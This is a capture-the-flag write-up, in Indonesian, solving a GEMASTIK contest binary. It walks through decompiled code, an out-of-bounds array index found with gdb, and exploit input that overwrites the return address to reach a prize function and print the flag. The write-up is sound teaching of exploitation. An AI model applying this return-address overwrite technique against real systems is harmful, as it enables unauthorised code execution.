Lottery Redux - 150 Points
nc target.netsec.gemastik.ui.ac.id 60007
POC
Diberikan sebuah file binary 64 bit not striped yang meminta inputan pengguna ke slot dan nilai nya akan dibandingkan dengan nilai random range(0,9) dan apabila 7 kali benar akan memanggil fungsi prize() .
Berikut hasil decompile nya
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebp@0
int v4; // eax@9
int result; // eax@20
__int64 v6; // rsi@20
int v7; // [sp+4h] [bp-CCh]@5
int v8; // [sp+8h] [bp-C8h]@10
int i; // [sp+Ch] [bp-C4h]@1
int v10; // [sp+10h] [bp-C0h]@5
unsigned int seed; // [sp+14h] [bp-BCh]@1
FILE *stream; // [sp+18h] [bp-B8h]@1
int s[12]; // [sp+20h] [bp-B0h]@1
int v14[12]; // [sp+50h] [bp-80h]@1
char ptr; // [sp+80h] [bp-50h]@1
__int64 v16; // [sp+C8h] [bp-8h]@1
v16 = *MK_FP(__FS__, 40LL);
stream = fopen("/dev/urandom", "r");
fread(&ptr, 1uLL, 0x40uLL, stream);
fclose(stream);
seed = v3 - 80;
srand(v3 - 80);
memset(s, -1, 0x28uLL);
memset(v14, -1, 0x28uLL);
for ( i = 0; i <= 9; ++i )
s[i] = rand() % 10;
puts("Lottery Machine v2.0\n");
puts("Guess 7 slot out of 10");
print_slot(v14, 0xFFFFFFFFLL);
for ( i = 0; i <= 6; ++i )
{
v7 = 0;
v10 = 0;
while ( v7 <= 0 )
{
v4 = v10++;
if ( v4 > 99 )
break;
printf("Choose slot index (1-10) : ");
__isoc99_scanf("%d", &v7);
if ( v7 <= 0 )
puts("Invalid Index");
}
printf("Guess the number (0-9) : ");
__isoc99_scanf("%d", &v8);
v14[--v7] = v8;
print_slot(v14, &v8);
}
for ( i = 0; i <= 9; ++i )
{
if ( v14[i] == s[i] )
++right;
}
if ( right == 7 )
prize();
else
puts("Better Luck Next Time");
result = 0;
v6 = *MK_FP(__FS__, 40LL) ^ v16;
return result;
}
Dapat dipastikan binary tersebut vulnerable Array out of bounds karena mengijinkan pengguna untuk meninpput data pada index ke-n, sehingga pengguna dapat memanipulasi nilai2 yang berada di stack.
Tujuan utamanya adalah mengoverwrite return address yang berada di rbp+8 dengan address dari &prize.
Pada gdb pasang breakpoint pada intruksi saat nilai nya di store ke memory
0x400ba9 <main+503>: mov DWORD PTR [rbp+rax*4-0x80],edx
Rax berisi slot dan rdx berisi nilai
gdb-peda$ p $rax
$1 = 0x538
gdb-peda$ p $rdx
$2 = 0x64
Yang dicari adalah nilai rax (inputan slot) ke berapa yang akan menimpa return address Berikut persamaan yang digunakan untuk mengover write return address di rbp+8
rbp+rax*4-0x80 = rbp+8
Rax = (8+0x80)/4
Rax = 34
Didapatkan 34 nilai rax nya, dan harus ditambah +1 sehingga menjadi 35 karena index akan didecrement jadi 33 apabila tidak ditambahan.
Inputan slot 35 dan angka 4196614 (alamat prize) akan menimbulkan seg fault karena alamat return address nya seperti berikut
si_addr=0x7f3200400906
Sehingga harus dioverwrite juga nilai yang berada di rbp+12 dengan 0 , agar nilai return address nya menjadi 0x000000400906.
Perhitungan nya sama seperti diatas. Sehingga didapatkan 35 dan harus ditambahkan +1 lagi sehingga menjadi 36. Setelah menginput ke slot 36 dengan 0 return address nya sudah mengarah ke fungsi &prize.
gdb-peda$ x/gx $rbp+0x8
0x7fffffffde88: 0x0000000000400906
nc target.netsec.gemastik.ui.ac.id 60007
Lottery Machine v2.0
Guess 7 slot out of 10
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 35
Guess the number (0-9) : 4196614
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 36
Guess the number (0-9) : 0
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 1
Guess the number (0-9) : 1
1 ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 1
Guess the number (0-9) : 1
1 ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 1
Guess the number (0-9) : 1
1 ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 1
Guess the number (0-9) : 1
1 ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : 1
Guess the number (0-9) : 1
1 ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Better Luck Next Time
YOU WON!!!
Here is your prize :
GEMASTIK{array_out_of_bound_is_still_popular_vuln_everywh3r3__}
Flag: GEMASTIK{array_out_of_bound_is_still_popular_vuln_everywh3r3__}